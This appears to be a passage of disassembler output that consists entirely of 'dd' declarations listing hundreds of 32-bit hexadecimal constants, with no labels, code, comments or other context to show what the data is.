		dd 91269Ch, 0A576D1C6h,	7EB14BDh, 0B30E4300h, 0B12D8C29h
		dd 0CEF0D6h, 0D91B92A3h, 244EF4EAh, 0AAFEEF07h,	0F8F00C2Dh
		dd 0CC63E64h, 3BADEBEEh, 500CB4Eh, 0EFBA4E1Ch, 3893CADFh
		dd 730A0160h, 380A80Bh,	43E5EB87h, 29CE2488h, 10666700h
		dd 0FE81C4EFh, 0DC8600B5h, 14EB41A3h, 4300745Bh, 7E369983h
		dd 60EEDB26h, 0FAB430C0h, 3C05045Fh, 0CE7AA55Dh, 0DB54C4C3h
		dd 44F8A8B2h, 1C90A7h, 0FF5179C1h, 0B913423Ah, 0AEC0C81Ch
		dd 0A0D6A6FAh, 0B54BA901h, 9AFC5D1Dh, 72652C58h, 0CDA30232h
		dd 0B060C3A5h, 8B0017ABh, 4A63964Dh, 0F2FD4414h, 593120Dh
		dd 911802B5h, 0D2E0168Ch, 0B6005253h, 0F99209EEh, 76D1D333h
		dd 16E70137h, 0CDA8DE7Ah, 0EEDD854h, 0AA0B9900h, 6640D54Dh
		dd 930C0091h, 1CB8E231h, 0E389E23h, 80F3BCD4h, 15CD0673h
		dd 56B1BEh, 4238894Bh, 67D3BB76h, 75CA1A00h, 373E2B7Ah
		dd 44C10185h, 956CBCD8h, 6124CDFAh, 4264406Ch, 0AB24529Fh
		dd 0E0005D5Dh, 82E5285Eh, 0D33B00D7h, 0CE123A50h, 0C700FDE3h
		dd 0A0087641h, 0E4782F7h, 7796616Ah, 66BFD721h,	0EF942445h
		dd 6900B5E2h, 0FD4FDFF0h, 0E04CFFh, 5710F926h, 1A80F7BFh
		dd 4BAFFA07h, 0C8E1B71Fh, 1080F68Ah, 0F9D70A82h, 0FA006BB4h
		dd 38079376h, 656FD27h,	0C04619C6h, 94426947h, 0F98C6E07h
		dd 0D1C8125Ah, 0B8A09BC2h, 172F2774h, 0F61C751Ch, 0DC117D41h
		dd 32C1DE1Bh, 32E40C0h,	0BE881EF7h, 86B860CBh, 0A4000790h
		dd 0EC8AF226h, 4C0D127Fh, 0C100DCBAh, 6C9692F6h, 351D71E8h
		dd 0DE80750Bh, 0AC9B4F82h, 0CEEA03A8h, 80EB0174h, 0D54CF7C0h
		dd 0DA8BEF00h, 1E971BFEh, 0AADF0077h, 0CEC179E9h, 0F9006F7Ch
		dd 6D3682F6h, 1C86234Ch, 0C0615C3Ch, 0C98AC676h, 0D61E20EEh
		dd 7D5DA4CEh, 67528Eh, 32F5DB5Ah, 0F17C0E3Ah, 44E02C15h
		dd 213B992Dh, 29F0C3Ah,	67C85D5Ah, 0DAD8A058h, 0A97FABh
		dd 4984C6Fh, 0EA87EB1Ch, 6B01FFE4h, 97D424BFh, 74D08DE5h
		dd 0E76100BDh, 0D79AF195h, 2007F76h, 31D94F3Fh,	0D3E110h
		dd 1AED9D54h, 673213C6h, 0B4B26B00h, 695FBC40h,	0E95500D9h
		dd 9CFAD446h, 0FE00F98Eh, 85244F39h, 0F179D45h,	7819F384h
		dd 0B700E4EEh, 0C65EBA1Dh, 2DBF5403h, 0B0229897h, 26E9CF2h
		dd 881FC209h, 0A3623ED5h, 59175281h, 0D40ECD1h,	0CBDD7103h
		dd 0A1833D63h, 99F81164h, 8735002Eh, 8516216Ah,	5400070Bh
		dd 0D9933C2Ch, 0CFD858h, 0F15A0A5Dh, 0CB95C6AAh, 0CA4C7171h
		dd 7D2300ECh, 48FAF38Bh, 35A30060h, 9331FCF4h, 0D3399FCAh
		dd 67781FB3h, 0E4F204C1h, 21E0E81Dh, 7E9112DCh,	53F0E66h
		dd 336DEE20h, 54580E87h, 0E6D500FDh, 5C06F74Bh,	0D148039Ch
		dd 8D3A81ECh, 0DE60F0BAh, 0CF07ACC5h, 0B6B7A95Eh, 106F6D80h
		dd 3AD43E29h, 31601B80h, 0E49F0DA4h, 0FA996100h, 35E66C84h
		dd 0F268007Eh, 0B019732h, 0CA002FF9h, 796AE7D1h, 0C3BDE5h
		dd 704DE693h, 0FC77ED35h, 0B9548500h, 0E1884EF1h, 9A863F18h
		dd 6BBF1Eh, 0AF761193h,	0C9005FA0h, 0AE4A4BC0h,	498495h
		dd 7ECCD196h, 0FBFEAC3Dh, 0AAC9D401h, 702919B1h, 0CD3B037Eh
		dd 0A388AE4Eh, 0BB39FF7Dh, 0A2DC8031h, 38912F86h, 48C598B0h
		dd 0A6009C42h, 79C201Bh, 223FDDBAh, 70C780A1h, 4BA87BF6h
		dd 3BE700FBh, 0BECD171Ch, 0E609FF52h, 0DC0265h,	37FEA6ECh
		dd 8AA80E04h, 0BDE0603Bh, 0A05FF392h, 0B8BBB600h, 228BA7AEh
		dd 0BC1F0616h, 79CF2B0Eh, 2FB2C1Dh, 94DC3900h, 244EFA18h
		dd 3C30CC5Eh, 0D79C2538h, 0CBD9801Ah, 90883215h, 5A9A4900h
		dd 7AD2FBA9h, 0F3C30070h, 0CF436047h, 0C8008381h, 0FA6A4D98h
		dd 3D3E57ABh, 0F2004ED6h, 0A23466D8h, 0EA26DFA9h, 5401D804h
		dd 79959074h, 794488Ch,	27581F34h, 0AE650044h, 0ACE8CAD4h
		dd 406E58F2h, 19B9E40Fh, 47BAB4E0h, 5E008DE2h, 15BFC771h
		dd 396F42h, 0A2AF14CAh,	1B4887F0h, 0CDF8CCF2h, 621CDD00h
		dd 3EB3A6B7h, 0A44C2C36h, 24C700C0h, 65843C29h,	0C1EA1B01h
		dd 1B64FA6h, 1D753FD4h,	0C0E31DC6h, 3490D32Ch, 0DA58DC84h
		dd 0FDAF86BCh, 3A7B0030h, 9FFC439Eh, 0C0B076E5h, 0BA94E40Eh
		dd 92AB40B2h, 0BE6F9F0h, 0A010EA64h, 9F8F5820h,	5BFABCEDh
		dd 0F3CB9900h, 0A5ACEB5Ah, 30C13AF5h, 164022Eh,	0AB791C4Ch
		dd 311BF71h, 0F71D8DF3h, 0BF05C596h, 0C80E9CBh,	0FCD0DB74h
		dd 1D063DFFh, 73EDB981h, 709A7F3Eh, 5C0052DCh, 0BFC9BBC4h
		dd 1A4C5ADh, 811C6907h,	477D0228h, 9BE00FC4h, 4AFE4DBBh
		dd 8889300h, 74DB8944h,	0B869629Ah, 0C880735Dh,	0A1AA864Fh
		dd 0F2859002h, 259F6BDh, 3DE3C488h, 2D3732A0h, 83281407h
		dd 0D8108EE4h, 0E379F4h
		dd 30117623h, 0D68B9FFBh, 3C7C010Eh, 80C26AAAh,	0BC03A507h
		dd 0B4842601h, 102FE181h, 0F8FE8C1Dh, 8339C141h, 68FD0E44h
		dd 807DFE84h, 308B1E4Bh, 3CD6D95Ah, 163CCCCAh, 965D0C9Ch
		dd 4C580044h, 18DCC53Fh, 0F9943226h, 5200C71Dh,	0A7FDFB56h
		dd 3DB500D2h, 1FA011E7h, 0A0EDA8Dh, 87FC84F0h, 0DCE0993Eh
		dd 0C6F3C73h, 0E519C906h, 0D12597BEh, 39000CBh,	48A747h
		dd 0F5AEC371h, 988E361Eh, 895E8F1Fh, 801F154Eh,	17A9962Fh
		dd 4CE4AAh, 5E5444BDh, 4BB28451h, 0A8D4770Eh, 8C009373h
		dd 0F01E3E25h, 0DCCE1F9Fh, 0C1C8C07Fh, 1B76356h, 802CA439h
		dd 0F081D4ACh, 3FF74664h, 8900077Fh, 0E61E1F41h, 4F00C0D5h
		dd 0BAAF54FAh, 7AE440h,	519D8A90h, 438F58B8h, 0C92ECA00h
		dd 6A3FE9C5h, 1BA80050h, 447AE8A7h, 4FC7984h, 39BB3800h
		dd 1AE1703Eh, 0E9540036h, 51D9CCD4h, 90009DDBh,	0A594064h
		dd 28D9810h, 1815A476h,	0F1C06A1Ch, 24008483h, 0B154D506h
		dd 1C7AB466h, 0C188018Ch, 5DE6AF4Ah, 0FCF1CC70h, 5082A507h
		dd 0C710D28Dh, 1F556B6h, 0FB274735h, 0C00D3EF2h, 1E004014h
		dd 15F80C08h, 0EF59E612h, 60170BDh, 4B629ECh, 0E9ABD8ADh
		dd 0F23DC017h, 19800FEh, 876C8EA0h, 7AE67300h, 7B35880Ch
		dd 30AC981Dh, 7218FCFDh, 91DD68C5h, 0A8DDF7C7h,	9A47EF27h
		dd 6E730561h, 0DF41040h, 7C39C0FEh, 7AC28854h, 4B3508C0h
		dd 1D5A9E52h, 2BF72Fh, 0D5539434h, 9A00E76Dh, 0E91BF1C4h
		dd 0FE54B9h, 2376C026h,	1E0643A5h, 6EA34Ch, 0FD59EFADh
		dd 75BA2EF7h, 0A0C7388Fh, 0AF236B8Ah, 459900B3h, 79F9F71Ch
		dd 59340400h, 33A25BD5h, 71492639h, 0C46B00C4h,	0F7E0F43Bh
		dd 54A9211Fh, 58288058h, 0FD090094h, 45E897Fh, 0BA305F79h
		dd 0A1D47903h, 0E9A94C50h, 401ABD1Eh, 0CC563B7Ah, 0E3702FEEh
		dd 7D878E03h, 0E028F7CAh, 8075C6h, 4CCCD267h, 0D3F4A141h
		dd 144E0500h, 799A5F2Fh, 22CE001Bh, 200BA89Fh, 2008527h
		dd 0C296647Bh, 36977Dh,	0ADA9F823h, 9883692Dh, 79398832h
		dd 604BF4Dh, 1055E93Fh,	1B4AA400h, 0D45EDD77h, 5BD000AEh
		dd 0DAA3A1B5h, 0C301D9D5h, 0C03EA283h, 0B9F17F56h, 7CD05EF0h
		dd 0EA7005C2h, 175ACFAh, 82BD232Ch, 5008E3C3h, 83D146CCh
		dd 89DA6B3Dh, 0E079290Ah, 0E780889Fh, 3E4822D9h, 65BB0058h
		dd 26B1CEC3h, 773F3125h, 615AB336h, 600CC5A5h, 186AD16Fh
		dd 19BA7616h, 0E10047B0h, 443C67A9h, 52271C58h,	0A410704Ch
		dd 0CC610EF7h, 5BCADE38h, 0E23CF47Dh, 15576E8h,	0F04999A3h
		dd 0CC01591Bh, 0D96B2F75h, 0BD003C2Ch, 4CAE80FBh, 3CE8AD00h
		dd 552F024Fh, 2EAB3020h, 761F88A9h, 23412860h, 37D9E4F7h
		dd 0E1A83BF8h, 83551EB1h, 0D1A1E138h, 0B018143Ah, 2D30B03Bh
		dd 1F8DDA39h, 0A0030772h, 6EF759BFh, 3A85A3BAh,	0FE6C81h
		dd 0AAF134Bh, 0F038CB22h, 41367430h, 3F46F9E3h,	0A780BE14h
		dd 7BEFD27Eh, 0B9181FE2h, 0FB8044F6h, 0A307ACDh, 3E8AA1E0h
		dd 1B1000CCh, 3A12DA1Eh, 9A0210C2h, 3BB8825Bh, 895090A8h
		dd 210B721Fh, 0DE91BA80h, 8581681Fh, 404B3F16h,	2704C28Ch
		dd 0ED0034DCh, 88187658h, 43986Bh, 4B6AE892h, 0B1613F9Eh
		dd 0A056CE36h, 0BD3B0639h, 905FBACAh, 379828A0h, 30A90240h
		dd 0C019477Eh, 80834AEEh, 60041B4Eh, 12B6415Bh,	0DD0388EDh
		dd 0D52F8EC0h, 0F3083018h, 0ED0A9921h, 4EB7641Dh, 0B1EAA202h
		dd 0F3884096h, 0EC26077Ah, 80C4332Dh, 8A033DD4h, 0B195C80Eh
		dd 0FAF7A01Bh, 0DB4BEFh, 3212FD44h, 0B5FF9FB8h,	0A81A800h
		dd 4119211Eh, 1DC478F6h, 0BA998E26h, 617CE000h,	0B2A8D3CBh
		dd 9F353300h, 57090AE6h, 0B6F8002Ah, 8A744ADCh,	5100C732h
		dd 0A382C8F9h, 155E39Ch, 0C530EFE2h, 0F8C98EE0h, 3B070620h
		dd 0B9A57202h, 3A63E880h, 19EE0E7Ch, 0DE40C033h, 0B22E05Eh
		dd 995DA501h, 2004C7C3h, 32C9DE0h, 0E736297Ah, 0CEBF7B98h
		dd 87455500h, 0F93864D0h, 8A8CBB1h, 491D5800h, 46752359h
		dd 4525B900h, 5A151CB5h, 0E08461DCh, 9C270BC4h,	6E808298h
		dd 0CF97605h, 1033078Ch, 404D6C7Ah, 0A871644Ah,	0CEDD3801h
		dd 5278A6ACh, 0FD9098Ch, 80009120h, 96A7083Dh, 0EE320A6Ah
		dd 567700B0h, 4C2CA569h, 40CEF8Dh, 6112E807h, 26D432Dh
		dd 0CED038A3h, 10E731A4h, 1389B94h, 0C7053A37h,	0C0D6CB53h
		dd 7A5C8DBAh, 0F76900D8h, 0FD1EAB6h, 0A1640680h, 10637D18h
		dd 9000DBF6h, 0EEB7EFA5h, 0C6B8C7EBh, 20645008h, 11B48A07h
		dd 6310084Fh, 0C4973624h, 1A817F58h, 0A22C0480h, 0A690DC60h
		dd 18BFEF23h, 0C98721F3h, 307E8E0Fh, 3B490371h,	48506489h
		dd 90CE60A0h, 43EF71B0h, 795533EDh, 5DC000B9h, 9A97DC50h
		dd 560352C7h, 1286606Dh, 6763D840h, 0B4505065h,	0C74A0C96h
		dd 0EFB9EC2Fh, 310037E4h, 4E97FE75h, 0E898C66Dh, 0AE21C1EAh
		dd 0DA893829h, 0B67B7260h, 492B7D30h, 6FCD676Fh, 0AA010EEh
		dd 6DC53E60h, 47016A78h, 9466D60Fh, 0C9CC9A2Eh,	1B6B0038h
		dd 69DF64C3h, 0B800F616h, 2CB106ABh, 5A14B3Bh, 0EC8961C9h
		dd 825DC0EBh, 0CC3A790Fh, 94918071h, 0D5DBB6F1h, 48CF00EAh
		dd 0A6611B2Dh, 760020B4h, 88C0678Dh, 2486F6B5h,	133EF39Ah
		dd 7800BB82h, 68BE5420h, 95A000CEh, 0E8753316h,	0CC00191Fh
		dd 0D80517DAh, 77F4715h, 0A10DF5C9h, 0B870D004h, 93778E79h
		dd 842F7807h, 418C21A9h, 0A3A00043h, 323068CDh,	967F7E61h
		dd 93504D02h, 0E3346D41h, 0DFC406DFh, 1897DD68h, 0A9B42200h
		dd 61381551h, 138A0025h, 0F6780347h, 47FA80Dh, 0AFB7DC00h
		dd 2C0C1B57h, 5D9E0073h, 3A933826h, 7003D1CFh, 0A8A68B46h
		dd 4A7E90C7h, 8EA13CC9h, 351AF400h, 134C8F7Bh, 0E800B7F6h
		dd 91C6F295h, 4982A9h, 0E6D7610Eh, 0BCE5B10Dh, 3FD00400h
		dd 24BB1499h, 89740181h, 9E063707h, 9D109517h, 0B72CE004h
		dd 9C7CE5h, 75A90E99h, 58B9137Eh, 616081Eh, 0A8C67840h
		dd 6B0762Ch, 0FD999F94h, 7D2229A3h, 88A27563h, 60883202h
		dd 917240A4h, 818B2284h, 22311E22h, 7542AFADh, 288BB111h
		dd 9C22284Ah, 226944ADh, 8C0FC500h, 5F41712Bh, 0DDAD0704h
		dd 0BEE57Eh, 0B5847FA4h, 0BCA7AE30h, 4501F3h, 3D19BB32h
		dd 0E2E73A7Bh, 0C626170Eh, 39B1E43Ch, 8502C982h, 0ABC380A9h
		dd 2C4D91B8h, 52F520h, 0CC234831h, 581BA509h, 56642400h
		dd 0D4A8075Dh, 889B00F1h, 9F1AEF82h, 7100709Ch,	7D2B74EDh
		dd 0CA99B6h, 84EAA156h,	585293B1h, 80D0300h, 9FF67BC6h
		dd 62880B41h, 0DC4071A2h, 0B3E4D0ABh, 0CB981560h, 0FBB0B98h
		dd 6BFF2A7h, 0B4516380h, 4B01B083h, 122510E4h, 24DC79F9h
		dd 0F7F430h, 16DFD839h,	9A76731Eh, 8DEEC400h, 52FC6AE1h
		dd 0D603005Fh, 6EA5ECBAh, 571E4D84h, 1EC044AEh,	70C73619h
		dd 3531248Ah, 777E8A28h, 4CC08388h, 6000F2F1h, 601D2638h
		dd 1F0A6407h, 40536258h, 0A4F8367Bh, 0C2000D31h, 0BE659E66h
		dd 9B3D40h, 0FC4E5B42h,	51F88C8Eh, 0BBFEDB00h, 0F4407462h
		dd 887446h, 7829BA8Bh, 691EC7BDh, 8E00B890h, 63767EE2h
		dd 4C6D35h, 72C534BEh, 8C2A7AC7h, 0E5B48B00h, 0B26AAE2Fh
		dd 9F24009Eh, 0BA6CDFB8h, 3749B3Bh, 0F507F67Ch,	609DAF4Ch
		dd 80336F9Fh, 56D6C37h,	0C0E4030Ch, 0BFD26202h,	9EBB68E8h
		dd 0B05D9600h, 166503F5h
		dd 0B38400A0h, 0F09A36B5h, 1E00FCF3h, 0CC6D9EDEh, 4864BAAEh
		dd 9700A8EAh, 0BFDA4AA2h, 0B40EE069h, 0F4CA71h,	6CC450Eh
		dd 0A60B0330h, 0B34FC8D1h, 84DAA298h, 26B2800h,	2507C55Eh
		dd 3604003Bh, 0C0EE312Eh, 1300E5DCh, 67473373h,	4C828C39h
		dd 0A00C6F3h, 5FDFC7B6h, 0E41CFA34h, 0A3D2CB7Ah, 803B204Fh
		dd 889A8A4Ch, 7D23E607h, 0ED100A6h, 528033Eh, 10C773CDh
		dd 0A0001E19h, 18EF31Ch, 5A58F763h, 0F4D4E2E8h,	349A90FBh
		dd 9AAB1B00h, 28A57C9h,	71DE055Fh, 0AAD54A2Dh, 4DB01187h
		dd 1D8C92h, 0B953EFCFh,	36BFCD1Ah, 57125209h, 3F0404DBh
		dd 40CAE582h, 0FE06516Ch, 0D1E23CDDh, 9A20E8B0h, 28002ACDh
		dd 4BB609DAh, 0A2CFA6h,	0F1D27137h, 6BCAFD24h, 4FA8AC00h
		dd 4B84B7F5h, 0A65E2DCh, 4332FBE9h, 911F008Ch, 0D08EBFDBh
		dd 72C06000h, 1DB4FD15h, 0B5090025h, 65CBA02Dh,	16730EDCh
		dd 0ED001C75h, 75FC2B1Ah, 315437h, 82E1CFCAh, 62ACBBCh
		dd 0C0B48F00h, 0FEB6081Eh, 0E6760072h, 0BC911A74h, 54003D42h
		dd 0D259FA71h, 28AC53F3h, 7E9C0CA3h, 84E80009h,	0E85A4D3h
		dd 37E2B5ADh, 59369000h, 73C67FCh, 6D501E86h, 0EA9D8Ch
		dd 0C5828E2Ah, 9A0F77B2h, 0E0BEEF8Ah, 0D4CD09D9h, 58A34C0Ah
		dd 7480633Ch, 75B1A17Ah, 3800BC24h, 0D56EDF81h,	5C7C9ACDh
		dd 0F7A0CE4h, 7557DBC1h, 91DA1200h, 4F009B90h, 0E8AF17F6h
		dd 7546FCAh, 97FDDFF7h,	0C490E424h, 98C80293h, 0D8A04A61h
		dd 840EF518h, 0D3D2C103h, 0C0A8BD77h, 236EA3Bh,	0B4A57444h
		dd 0D040DB52h, 0FF00AB8Bh, 0E470BBFAh, 1C4395A1h, 47900F9Ch
		dd 807AAC3Fh, 74C9F0F1h, 0F7499E00h, 511B230Ah,	75F71A4h
		dd 374D0967h, 2528F05Eh, 0B972D9D0h, 2C47F00h, 6B82BBE2h
		dd 0B2DF03A7h, 5AF23349h, 0F0AE73F1h, 0D61E72E6h, 0AA407081h
		dd 75F9C317h, 8A9B00B1h, 69DA8B1Ch, 0CD984A07h,	46FA811Ch
		dd 0A6E3F90Eh, 68CF1Eh,	7F049110h, 0A59721E1h, 0F99B6901h
		dd 622F613Ch, 0B8432261h, 661EE02Ch, 2C727E57h,	500B63h
		dd 0F70E3EF2h, 0AB1E98DEh, 0B88164FBh, 5E946A7Bh, 2FA5FECh
		dd 37CCD7ADh, 5DC01E55h, 6E0027A7h, 8CDDF98Fh, 409FAE8h
		dd 0A687CA14h, 388B80D8h, 0CD002A41h, 94B87CC3h, 0F77D32h
		dd 2B7FC233h, 0D6237569h, 48423603h, 1EA97ED5h,	0C0921EF8h
		dd 0A2F809B5h, 680124CDh, 0C6F6BCEDh, 8A710CCEh, 0B3E01981h
		dd 0E0428A8Fh, 3B12920Ah, 60011849h, 0FB67A338h, 0ADF0AC21h
		dd 0C90EBh, 0A9BAF650h,	563A85A7h, 610C100Eh, 0E15FE00Fh
		dd 0C50E43h, 0F5AED0A5h, 0EBA7A8F2h, 4A88B900h,	0F19B38C7h
		dd 0DFDB029Dh, 0BE2878B0h, 0F90CA0C0h, 1434A600h, 0D60AD8C1h
		dd 0CA0E6003h, 0CFA87B81h, 0CA821D00h, 159D3FC9h, 0C4E63872h
		dd 0D28E0076h, 0EACC7B47h, 88000774h, 0BD52E75h, 0D059Eh
		dd 0B2DEC0DFh, 0C4814911h, 0F0821B3Bh, 0FFA37000h, 8A48BD23h
		dd 2A7116h, 86554BB7h, 3811515Bh, 29EE021Dh, 7F842EC0h
		dd 0FA13E153h, 5EAC0064h, 4DD274DDh, 0C90FB50Ch, 0B749BEh
		dd 0EDA3D176h, 0ADF71D56h, 435200F6h, 87C57A5Eh, 0F0353Ah
		dd 0C78BE253h, 0B5BF9Bh, 0B6DD1F12h, 0CAC4013h,	0CA376F00h
		dd 8A77B9C8h, 0A4520090h, 21C4A1ABh, 0B100A83Dh, 4AD3791h
		dd 0E9A200Ah, 811659C8h, 0B78F48C7h, 0DC9D0B9h,	230080CCh
		dd 0B72F33D7h, 0EBE030Bh, 843986E6h, 10E94AC7h,	75EF7AFh
		dd 0E126B5Ch, 80545B17h, 5AF3507Fh, 2F270062h, 0C7998587h
		dd 0CD03C559h, 0C10FC28Dh, 44B4B0FCh, 32D603A9h, 0AF199CC3h
		dd 344078F0h, 0D9BBAA00h, 67B092E9h, 56F095B3h,	15F7EB00h
		dd 1A9D747Fh, 5FEA0319h, 73855AA0h, 4F2DB1B0h, 7A924600h
		dd 0A4021132h, 41F91FFBh, 0C291C1F4h, 0C8890ABEh, 0F2B82146h
		dd 5D77E900h, 0F4BB234Fh, 0CCA95011h, 17F53BC9h, 63596B00h
		dd 8F779E0Ch, 27603F1Ch, 667E49h, 9A9FE38h, 68C60075h
		dd 0F8FD21D7h, 2C016937h, 0F53ACCC8h, 46C0A79Eh, 9760096h
		dd 8285EC48h, 0F700A05Ah, 926EF0BDh, 0AD4418h, 28576D40h
		dd 5B5CC85Eh, 6A47C0FDh, 7604290Bh, 5A9D0013h, 49BA99h
		dd 0D9B35225h, 97A2F0CEh, 0A909CD01h, 0B1FB9D38h, 3BC07EFCh
		dd 4F800CDDh, 0CCA82F1Eh, 0A300D610h, 3E0ABA9Fh, 7D3223CEh
		dd 923F0007h, 0B05A0916h, 8700C433h, 0E0C8CB7h,	0E0111F5h
		dd 0FFBDFDA3h, 0ED5BD920h, 1D482043h, 61B500ECh, 959231B7h
		dd 69030056h, 491E8A09h, 28383CCAh, 51DB0014h, 3B4099FBh
		dd 0EFA10395h, 96D96CD2h, 0B3BE4688h, 0AD2A2300h, 0F390B54Dh
		dd 0A16095CCh, 0E1F68BCh, 3F8983EFh, 0E7B0403Dh, 0FA07007Eh
		dd 0A236E101h, 0CC01823Ah, 8E714C05h, 0D87442B1h, 0D1190F8Ah
		dd 4B0145B8h, 0E42CD365h, 0F9386CEBh, 18EE00EDh, 170FBB46h
		dd 90AF0F55h, 1A0E7E2Ah, 8D08B880h, 8FE0CC98h, 5693960Fh
		dd 1771A019h, 7BC566h, 7F1650C0h, 805E51EDh, 0DA01289Ah
		dd 172EC2A3h, 40EE78B5h, 0E5C750h, 0D3CCF76Eh, 1D4D31FCh
		dd 0B336CD07h, 0A9003EDFh, 52D1092h, 3ACE8BB6h,	0E8B8C09Fh
		dd 0F9002227h, 21CB4466h, 0C98AE57h, 92AA6589h,	0AF03C011h
		dd 32E7260Dh, 0FAB8F833h, 881264Bh, 305300A4h, 0D75C1329h
		dd 65D0F100h, 0A12E0273h, 0B3910062h, 0BAECA6BEh, 0D3CB584h
		dd 0CE568E3Ah, 2639602Dh, 52C080h, 62DDC633h, 0F7010C75h
		dd 0AE200300h, 0D3396E7Eh, 987300DCh, 5E34BA1Ah, 0B606A865h
		dd 9956D77Bh, 4F030311h, 0E0EFF98Dh, 97FBCE80h,	0ED507C01h
		dd 0A476179Ch, 79C13429h, 0F00EF19Eh, 0F000DABEh, 6E0CB7A8h
		dd 19FF35h, 7B182A3Ch, 0DD1003E2h, 6A30E03h, 0F87AEEE3h
		dd 0E5881736h, 39829D00h, 4AC8909h, 948C20BBh, 36525E8h
		dd 325F8688h, 51F8CE8Eh, 0ED0005C9h, 0CD5BB457h, 24C4E3ADh
		dd 0DCD5F7h, 6CCFC8F9h,	0DA07D9E4h, 9F66F6E7h, 5CD260C0h
		dd 6E0F0148h, 95D4C79Bh, 0D8542084h, 0B0397F6h,	83389E8Ah
		dd 21AB80D7h, 6A5100CEh, 95CD8114h, 0AE5CFBC1h,	0AC5E0035h
		dd 70BC0646h, 8C70367h,	0E13A642Eh, 710D3FC0h, 0B1004177h
		dd 6DE831CFh, 0B80C78h,	1AAEC66h, 5C5B4C6Ch, 5259931Eh
		dd 10B11A04h, 28A304E0h, 4BCA1B76h, 2013C6h, 8539DF67h
		dd 0ED009FB0h, 0E4CD88DAh, 348FA5h, 0C69FE5Fh, 0F9028607h
		dd 0F252209h, 8E00058h,	707CEAh, 0D77313F0h, 8C39C32Ah
		dd 0D8A2AF00h, 649297EBh, 0FAF0B032h, 0FB9A0E74h, 0A1A047EDh
		dd 0A8433866h, 7C2D5D1Dh, 65A792C0h, 484CC4Ch, 1D54602Fh
		dd 698E26Fh, 59D1A73Bh,	0A2DF0028h, 0A3E1624Bh,	7007B53h
		dd 5CD384B6h, 94AC6h, 4E04A10Ch, 8AAC45B2h, 94E65900h
		dd 0EA2851A7h, 0CE070070h, 0F2E2A3FEh, 77ECB113h, 0ABBACC00h
		dd 0C750E15Eh, 6A9F03D0h, 7435E3C0h, 77C1BCA8h,	0B1013600h
		dd 60790383h, 24DF00EDh, 380BBB0Ah, 0A5002A15h,	3747DC14h
		dd 48DE576Ah, 8B003C9Bh, 98CDCCF8h, 0FA008619h,	0AC2225B0h
		dd 4D50F5h, 6B9521BFh, 0B7A63A7Ch, 0FE05F700h, 0D5AE3BC5h
		dd 500E3AB8h, 198D6280h, 9736F492h, 3047A12Eh, 6CD30F00h
		dd 6BF98A40h, 0A0007CC7h, 0C313DEB1h, 10E31530h, 0FA7DCB67h
		dd 806A01C6h, 42F02494h, 1EFAC05Ah, 0C9CE9C00h,	0F7CB4128h
		dd 0A8C40072h, 34F1A9D5h, 0E20070F2h, 49B06999h, 28B8EF75h
		dd 3B879C6h, 1DA0A42Ch
		dd 10007C4Dh, 0F1A2BA26h, 5E3394h, 0E9B972C5h, 6066058Bh
		dd 982AC900h, 2B56B56Eh, 0C1990073h, 5EEFC7E4h,	0F200383Bh
		dd 0AE1FFA83h, 713674Eh, 722375E2h, 0A48C4176h,	303C88h
		dd 7ED0F308h, 0F6269FE9h, 1C324D55h, 8EAC8F13h,	335D0050h
		dd 7916C044h, 0FB73003Dh, 0D0EA820Eh, 27099F32h, 81A2DEB7h
		dd 9205091Ch, 497A8D4h,	0A0AE1730h, 575C0780h, 0D20E7791h
		dd 270573C8h, 0E890FC6Dh, 3C003897h, 0B4C93F2h,	27BF5AA6h
		dd 3C80B4EAh, 0AEA4085Bh, 7E018490h, 2568E947h,	0AB708088h
		dd 14A00510h, 0EF1B2D9h, 7F870E9Ch, 0BEB443F7h,	0CDD03CA3h
		dd 0E700B8D8h, 7DD6FF8Dh, 0E3BA7h, 762C2F0Ch, 7B994415h
		dd 0F152DF00h, 0E5F818F2h, 0FCCF0E75h, 8DC0BD12h, 1AF70529h
		dd 0BAD33Fh, 0D264C9EFh, 267A8F15h, 90197Ch, 0D9B40A1h
		dd 0C00BF1AFh, 212D83DBh, 2B813EE0h, 92078C2h, 12153528h
		dd 993C24C0h, 0B9FABD00h, 0A2836272h, 1DB17145h, 6C8FAC95h
		dd 13B00D0h, 8AA16F3Ch,	7651160Fh, 0A46E5E18h, 0C6C40125h
		dd 8C61DB82h, 0B94E4C8h, 0BDA06EFEh, 0BA848440h, 0B1AF000h
		dd 0B8547BF8h, 36017B3h, 1FCEFCBFh, 7F9FA070h, 34455200h
		dd 3B142EEFh, 220031B3h, 0B99A403Eh, 4304E1F6h,	356D883Dh
		dd 3F161C97h, 0B6610294h, 330EEBB9h, 724D480h, 0A3003EB2h
		dd 63374CE1h, 607F7085h, 0C1FD345Fh, 4A070B98h,	0F5873649h
		dd 4DE8F1D0h, 7284F8Fh,	93190938h, 3893BEA2h, 0D76CC2C0h
		dd 28DFF80Eh, 0AE6607B6h, 0A3A3A1E7h, 29C0A8D4h, 504F008Ch
		dd 2F65A975h, 5C002047h, 35EB1ECh, 42EE41h, 0F796062Ch
		dd 9E26F986h, 89688704h, 50D18FE3h, 9010F41Ch, 500FF78h
		dd 5988624Fh, 0B60861h,	9FAF323Fh, 0C8C4DE40h, 97E71D1Dh
		dd 0D2634900h, 4FAD52F6h, 0D9CC0073h, 0A6B882E8h, 7BECC971h
		dd 0B65E500h, 8C092621h, 366C0738h, 103DDF56h, 0DB1DBA8Fh
		dd 0B590DE00h, 3A6AC1E2h, 3E0F00ABh, 0A49DB989h, 890BAD7h
		dd 4B471379h, 670D5905h, 8B40A0E7h, 0E10F6504h,	0A0B23F1Ah
		dd 0AC6E0B00h, 455C17C5h, 0CB435A01h, 60547402h, 7873E942h
		dd 49F70028h, 0DBA31AF2h, 5001149Dh, 3651C4B9h,	4601D6Eh
		dd 661F00EDh, 0AC52213Fh, 7000755Eh, 72C3C92Bh,	1E8B619Bh
		dd 0C7DFFE84h, 0C0E2E736h, 0BDF55278h, 73C44802h, 40992167h
		dd 55B528h, 0B942638Ah,	0C87E6C5Bh, 0AB49CB00h,	0A016F16h
		dd 11A1000Eh, 43DC8AD2h, 0DB1C7A2Fh, 9A4077AEh,	58731C53h
		dd 0ED9700F4h, 86A3CABAh, 0CB98BD41h, 0BC083F00h, 67B4ADDEh
		dd 0FC543A3Ch, 78E4340Bh, 86F0BCC3h, 0EB02D4C0h, 22467F14h
		dd 0A5C4013h, 0FC630055h, 882881B6h, 0E3034773h, 9AE94B4Fh
		dd 4CA5C80Ch, 5E4400D9h, 1E175B12h, 0E20011D2h,	8D7785D7h
		dd 986D1A0Ch, 0C0261880h, 4199DA54h, 9CE948h, 1886F181h
		dd 7DCA04F4h, 90DBF053h, 0D1F32E1Ch, 0F7DD1CEAh, 80F8A711h
